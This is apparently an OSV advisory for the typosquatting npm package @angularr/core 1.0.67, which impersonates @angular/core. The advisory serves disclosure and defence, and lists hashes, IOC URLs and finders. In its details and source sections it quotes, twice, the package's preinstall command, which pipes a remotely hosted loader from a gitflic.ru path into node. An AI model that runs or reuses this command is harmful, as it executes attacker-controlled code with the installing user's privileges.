MAL-2026-17493Malicious code in @angularr/core (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | @angularr/core | 1.0.67 |
{"schema_version":"1.7.4","id":"MAL-2026-17493","published":"2026-10-03T06:34:23Z","modified":"2026-10-05T22:52:51.066905927Z","summary":"Malicious code in @angularr/core (npm)","details":"@angularr/core@1.0.67 impersonates @angular/core (by name only; its code is an unrelated library described as \"Core Libs\") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (801dcd769bdbf58aa11a657a5344e075ed57fcdafd1384b47ba611956e7cb365)\nThe package's npm preinstall lifecycle script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching a JavaScript payload from a third-party host and piping it directly to node for execution on every `npm install`. The destination (gitflic.ru under a user path `hellscripter/install-scripts`, routed via a web.archive.org proxy) is unrelated to any `@angular` publisher infrastructure, is unpinned, and is not integrity-checked. Whoever controls that path controls code execution on the installer's host. The package name `@angularr/core` is a one-letter variant of the widely-used `@angular/core`, increasing the likelihood of accidental installation.\n","affected":[{"package":{"name":"@angularr/core","ecosystem":"npm"},"versions":["1.0.67"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"b4adcb75bc096e8e9bcb96750398a08e346c1914e02625efd7cda80e5b02d4fe","tlsh":"38117b20dd8c5ea316c20af928bdc801d565081b4d94fc9cf3ea040d8f5eaaf717a55e"}],"package_integrity":[{"filename":"core-1.0.67.tgz","hashes":{"sha1":"cd7d832fd965a3ae717487fa919671ae562cd627","sha512_sri":"sha512-bnBOACox7QJf/0xM3+8AFuYOUaDgjhzXEhLVKGVezTAr8oT+Ke298z01rVrAiAPdUwHEJ7rddskNKtFHRR/g8A=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@angularr/core/v/1.0.67"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@angularr/core"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"b4adcb75bc096e8e9bcb96750398a08e346c1914e02625efd7cda80e5b02d4fe"},"note":"preinstall script pipes the web.archive.org copy of gitflic.ru hellscripter/install-scripts node.js into node (@angularr/core@1.0.67).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"}],"urls":["https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js","https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js"]},"malicious-packages-origins":[{"id":"IN-MAL-2026-020907","import_time":"2026-10-04T23:40:40.722354757Z","modified_time":"2026-10-04T23:17:47Z","sha256":"801dcd769bdbf58aa11a657a5344e075ed57fcdafd1384b47ba611956e7cb365","source":"amazon-inspector","versions":["1.0.67"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0